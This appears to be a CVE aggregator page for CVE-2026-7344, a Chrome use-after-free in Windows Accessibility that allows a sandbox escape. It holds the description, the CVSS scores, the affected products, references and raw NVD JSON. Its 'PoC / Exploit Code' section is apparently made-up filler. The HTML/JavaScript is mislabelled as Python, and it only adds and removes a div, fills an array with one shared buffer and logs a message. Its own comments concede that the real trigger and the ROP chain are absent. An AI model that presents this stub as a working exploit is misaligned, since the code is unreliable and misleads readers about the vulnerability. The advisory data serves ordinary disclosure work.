CVE-2026-7344

Description

Use after free in Accessibility in Google Chrome on Windows prior to 147.0.7727.138 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Critical)

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome for Windows < 147.0.7727.138

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Conceptual PoC for demonstrating UAF trigger in Accessibility -->
<html>
<body>
<script>
    // Step 1: Create a target element vulnerable in Accessibility
    let target = document.createElement('div');
    target.setAttribute('role', 'button');
    document.body.appendChild(target);

    // Step 2: Force Accessibility tree to cache the object
    // This simulates the internal hooking of the object by the browser
    // In a real exploit, specific timing or API calls would be used.
    
    // Step 3: Trigger the Free (Use-After-Free condition)
    // Removing the element from DOM, but Accessibility might still hold a reference
    document.body.removeChild(target);
    target = null; // Clear JS reference

    // Step 4: Heap Grooming / Spray
    // Attempt to occupy the freed memory with malicious data
    // This is a simplified representation of memory manipulation
    let spray = new Array(1000).fill(new Uint32Array(100));

    // Step 5: Trigger Access
    // Force Accessibility or another callback to access the freed pointer
    // This would cause the crash or code execution in a vulnerable version
    console.log("PoC executed. Accessing dangling pointer logic...");
    // Real exploit would involve ROP chain execution here
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-7344
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-7344
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-7344/
[4] VulDB https://vuldb.com/cve/CVE-2026-7344
[5] https://chromereleases.googleblog.com/2026/04/stable-channel-update-for-desktop_28.html
[6] https://issues.chromium.org/issues/503419515

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-7344", "sourceIdentifier": "[email protected]", "published": "2026-04-28T23:16:21.987", "lastModified": "2026-04-30T16:36:12.993", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Accessibility in Google Chrome on Windows prior to 147.0.7727.138 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Critical)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "147.0.7727.138", "matchCriteriaId": "162EE53D-80A0-4153-B6D6-B2EF01E0BDAE"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/04/stable-channel-update-for-desktop_28.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/503419515", "source": "[email protected]", "tags": ["Permissions Required"]}]}}